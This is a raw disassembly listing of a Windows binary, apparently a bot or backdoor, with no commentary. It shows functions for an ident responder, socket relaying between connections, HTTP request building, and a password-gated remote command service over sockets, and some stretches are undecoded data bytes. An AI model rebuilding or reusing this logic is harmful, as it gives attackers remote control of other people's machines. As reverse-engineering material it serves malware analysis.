		mov	[ebp+var_E], ax
		call	sub_40AAF9
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4101B8
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410154
		mov	eax, offset dword_43D128


loc_410154:				; CODE XREF: sub_4100DB+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CAFC4
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CAF8C
		pop	esi


loc_4101B8:				; CODE XREF: sub_4100DB+6Bj
		push	ebx
		call	dword_4CB00C
		call	dword_4CAECC
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4101F8
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_4101F8:				; CODE XREF: sub_4100DB+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4100DB	endp

; ---------------------------------------------------------------------------


loc_4101FC:				; DATA XREF: ___:00401666o
					; sub_401ACD+4369o
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CAF74
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CAFF4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410360
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43DEBC[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CAFA0
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		push	5
		push	ebx
		call	dword_4CAF9C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410287:				; CODE XREF: ___:004102E6j
					; ___:00410349j ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_41035B
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433F94
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410287
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_417F7F
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B590
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	loc_410287
		mov	dword ptr [ebp-8], 1
		jmp	loc_410287
; ---------------------------------------------------------------------------


loc_41035B:				; CODE XREF: ___:0041029Cj
		cmp	[ebp-8], esi
		jnz	short loc_410387


loc_410360:				; CODE XREF: ___:00410243j
					; ___:00410267j ...
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433F50
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_410387:				; CODE XREF: ___:0041035Ej
		push	ebx
		call	dword_4CB00C
		push	dword ptr [ebp-4]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	esi
		call	near ptr 26C0000h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_4103AA:				; DATA XREF: sub_401ACD+613Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CAF74
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410516
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43DEBC[ecx], eax
		call	dword_4CAE84
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFA0
		test	eax, eax
		jnz	loc_410516
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CAF9C
		test	eax, eax
		jnz	loc_410516


loc_41045A:				; CODE XREF: ___:00410470j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB008
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41045A
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_433FFC
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B0F6
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43DEB4[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_41053B
		push	esi
		push	esi
		nop
; ---------------------------------------------------------------------------
		dw 0A2E8h
		dd 8B022500h, 0C969C44Dh, 234h,	8189C63Bh, 43DEC4h, 75391374h
		dd 63850FD0h, 6AFFFFFFh, 46E89032h, 0EB022500h,	7DE890EDh
		dd 50022508h, 433FC068h, 4D0EE800h, 59590000h
; ---------------------------------------------------------------------------
		jmp	short loc_410519
; ---------------------------------------------------------------------------


loc_410516:				; CODE XREF: ___:0041040Dj
					; ___:00410441j ...
		mov	edi, [ebp+8]


loc_410519:				; CODE XREF: ___:00410514j
		push	edi
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	dword_4CB00C
		push	dword ptr [ebp-40h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26C0000h
		pop	edi
		pop	esi


loc_41053B:				; DATA XREF: ___:004104CEo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CAFF4
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4106F1
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CAF74
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4105CB
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CAFF8
		jmp	short loc_4105D9
; ---------------------------------------------------------------------------


loc_4105CB:				; CODE XREF: ___:004105BAj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CAF2C


loc_4105D9:				; CODE XREF: ___:004105C9j
		cmp	eax, edi
		jz	loc_4106F1
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106F1
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_434084
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B0F6
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43DEBC[ebx]
		mov	dword_43DEB4[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43DEC0[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_410722
		push	edi
		push	edi
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4106DE


loc_41068B:				; CODE XREF: ___:00410698j
		cmp	[ebp-20h], edi
		jnz	short loc_41069A
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_41068B
; ---------------------------------------------------------------------------


loc_41069A:				; CODE XREF: ___:0041068Ej
		mov	ebx, 1000h


loc_41069F:				; CODE XREF: ___:004106DAj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAF8C
		cmp	eax, edi
		jle	short loc_4106F1
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41069F
		jmp	short loc_4106F1
; ---------------------------------------------------------------------------


loc_4106DE:				; CODE XREF: ___:00410689j
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_434044
		call	sub_415220
		pop	ecx
		pop	ecx


loc_4106F1:				; CODE XREF: ___:0041057Fj
					; ___:004105DBj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43DEBC[eax]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	dword_4CB00C
		push	dword ptr [ebp-4]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26C0000h
		pop	edi
		pop	esi
		pop	ebx


loc_410722:				; DATA XREF: ___:0041066Bo
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_410759:				; CODE XREF: ___:0041079Ej
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43DEC0[esi]
		call	dword_4CAF8C
		test	eax, eax
		jle	short loc_4107A0
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43DEBC[esi]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410759


loc_4107A0:				; CODE XREF: ___:00410783j
		push	dword_43DEC0[esi]
		call	dword_4CB00C
		push	dword ptr [ebp-14h]
		call	sub_40B412
		pop	ecx
		push	0
; ---------------------------------------------------------------------------
		db 0E8h
		dd 22AF844h
		db 90h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43DEBC[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CAF5C
		test	eax, eax
		jnz	short loc_410843
		push	dword ptr [esi]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		call	near ptr 26C0000h
		nop


loc_410843:				; CODE XREF: ___:00410829j
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAF8C
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CAEC8
		test	eax, eax
		jz	short loc_4108BC
		call	dword_4CAF08
		push	eax
		push	offset unk_43415C
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	edi
		call	near ptr 26C0000h
		nop


loc_4108BC:				; CODE XREF: ___:00410897j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CAF2C
		cmp	eax, edi
		jnz	short loc_4108E6
		push	dword ptr [ebp-18h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41B886
		jmp	short loc_4108F4
; ---------------------------------------------------------------------------


loc_4108E6:				; CODE XREF: ___:004108CCj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BEB0


loc_4108F4:				; CODE XREF: ___:004108E4j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_43D128
		push	dword ptr [esi]
		call	dword_4CAFC4
		cmp	dword_4CDCD8, edi
		jnz	short loc_410956
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_410A1E
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410956
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CAFC4
		push	dword ptr [esi]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26C0000h


loc_410956:				; CODE XREF: ___:0041090Bj
					; ___:0041092Cj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434120
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_410CD5
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41099D
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_4340F4
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 26C0000h


loc_41099D:				; CODE XREF: ___:00410978j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4340C8
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26C0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109C4	proc near		; CODE XREF: ___:00410859p
					; ___:00410866p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF8C
		cmp	eax, 1
		jnz	short loc_410A14
		mov	esi, [ebp+arg_4]


loc_4109E2:				; CODE XREF: sub_4109C4+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_410A09
		test	al, al
		jz	short loc_410A18
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF8C
		cmp	eax, 1
		jz	short loc_4109E2
		jmp	short loc_410A14
; ---------------------------------------------------------------------------


loc_410A09:				; CODE XREF: sub_4109C4+27j
		push	offset unk_434188
		call	sub_415220
		pop	ecx


loc_410A14:				; CODE XREF: sub_4109C4+19j
					; sub_4109C4+43j
		xor	eax, eax
		jmp	short loc_410A1B
; ---------------------------------------------------------------------------


loc_410A18:				; CODE XREF: sub_4109C4+2Bj
		push	1
		pop	eax


loc_410A1B:				; CODE XREF: sub_4109C4+52j
		pop	esi
		leave
		retn
sub_4109C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A1E	proc near		; CODE XREF: ___:00410922p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A49
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_4341B4
		call	sub_415220
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_410A49:				; CODE XREF: sub_410A1E+11j
		push	1
		pop	eax
		retn
sub_410A1E	endp

; ---------------------------------------------------------------------------
byte_410A4D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+23D4o
		dd 5A4EC81h, 458B0000h,	6A575608h, 0F08B5978h, 0FDECBD8Dh
		dd 16AFFFFh, 895FA5F3h,	1DCB8h,	5C858D00h, 50FFFFFAh, 20268h
		dd 0E415FF00h, 33004CAEh, 74C63BF6h, 2468501Dh,	0E8004343h
		dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0F55AE890h
		dd 6857022Ah, 410CCBh, 3301E4E8h, 0C0859002h, 0C9E82975h
		dd 90022502h, 42E06850h, 59E80043h, 59000047h, 0CC15FF59h
		dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 21E89057h,	53022AF5h
		dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h
		dd 0B075FF00h, 0AF7415FFh, 66A004Ch, 66026A57h,	89E24589h
		dd 15FFE475h, 4CAFF4h, 0FB83D88Bh, 3B840FFFh, 8B000001h
		dd 106AB445h, 234C069h,	98890000h, 43DEBCh, 50E0458Dh
		dd 0A015FF53h, 85004CAFh, 17850FC0h, 68000001h,	7FFFFFFFh
		dd 9C15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342A4h
		dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h
		dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB008h
		dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h
		dd 0FFFF68h, 15FF5700h,	4CAF54h, 74FFF883h, 45B70FC5h
		dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB00015h, 858D5000h
		dd 0FFFFFBECh, 43426068h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h
		dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh,	0A50CE850h
		dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh,	0B4888924h
		dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh,	4107BFh
		dd 56F0458Dh, 0F963E850h, 8B900224h, 0C969B84Dh, 234h
		dd 8189C63Bh, 43DEC4h, 75391374h, 37850FC8h, 6AFFFFFFh
		dd 6E89032h, 0EB0224F9h, 3DE890EDh, 50022501h, 43422468h
		dd 45CEE800h, 59590000h, 7D8B03EBh, 815FF08h, 50004CAFh
		dd 0FBEC858Dh, 0EC68FFFFh, 50004341h, 0AC15E8h,	0CC48300h
		dd 75C47539h, 858D5620h, 0FFFFFBECh, 50C075FFh,	0FDF0858Dh
		dd 0FF50FFFFh, 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h
		dd 50FFFFFBh, 4507E8h, 0FF575900h, 4CB00C15h, 15FF5300h
		dd 4CB00Ch, 0AECC15FFh,	75FF004Ch, 0A750E8B4h, 5659FFFFh
		dd 0F336E890h, 335B022Ah, 244439C0h, 0C0940F04h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CD5	proc near		; CODE XREF: ___:0041096Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410E26
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43DEBC[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410FF8
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410D40
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_434384
		call	sub_415220
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_410D7A
; ---------------------------------------------------------------------------


loc_410D40:				; CODE XREF: sub_410CD5+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4110AA
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410D81
		call	near ptr 2660D84h
		nop
		push	eax
		push	offset unk_434384
		call	sub_415220
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 2670C48h


loc_410D7A:				; CODE XREF: sub_410CD5+69j
		xor	eax, eax
		jmp	loc_410E21
; ---------------------------------------------------------------------------


loc_410D81:				; CODE XREF: sub_410CD5+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 2750000h
		sub	eax, ebx
		jz	short loc_410DDB
		dec	eax
		jz	short loc_410DD5
		dec	eax
		jz	short loc_410DC1
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_434350
		call	sub_415220
		pop	ecx
		pop	ecx
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------


loc_410DC1:				; CODE XREF: sub_410CD5+D5j
		mov	edi, dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------


loc_410DD5:				; CODE XREF: sub_410CD5+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410DDF
; ---------------------------------------------------------------------------


loc_410DDB:				; CODE XREF: sub_410CD5+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_410DDF:				; CODE XREF: sub_410CD5+104j
		nop
		call	near ptr 2670C48h
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 26E0AA6h


loc_410DF0:				; CODE XREF: sub_410CD5+EAj
					; sub_410CD5+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427068
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CB00C
		push	esi
		call	sub_41B0B1
		pop	ecx
		push	1
		pop	eax


loc_410E21:				; CODE XREF: sub_410CD5+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E26	proc near		; CODE XREF: sub_410CD5+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410F10
		mov	ebx, dword_4270FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427068
		test	eax, eax
		jnz	short loc_410E89
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_434434
		jmp	short loc_410EA9
; ---------------------------------------------------------------------------


loc_410E89:				; CODE XREF: sub_410E26+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_410EB1
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_4343F4


loc_410EA9:				; CODE XREF: sub_410E26+61j
		call	sub_415220
		pop	ecx
		jmp	short loc_410EDF
; ---------------------------------------------------------------------------


loc_410EB1:				; CODE XREF: sub_410E26+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410F1F
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410F14
		push	offset unk_4343CC
		call	sub_4151AC


loc_410EDF:				; CODE XREF: sub_410E26+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410EEB
		push	[ebp+var_4]
		call	edi


loc_410EEB:				; CODE XREF: sub_410E26+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410EF6
		push	[ebp+var_8]
		call	edi


loc_410EF6:				; CODE XREF: sub_410E26+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410EFF
		push	eax
		call	edi


loc_410EFF:				; CODE XREF: sub_410E26+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410F09
		push	eax
		call	edi


loc_410F09:				; CODE XREF: sub_410E26+DEj
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_410F10:				; CODE XREF: sub_410E26+1Dj
		xor	eax, eax
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------


loc_410F14:				; CODE XREF: sub_410E26+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_410F1A:				; CODE XREF: sub_410E26+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F1F	proc near		; CODE XREF: sub_410E26+94p

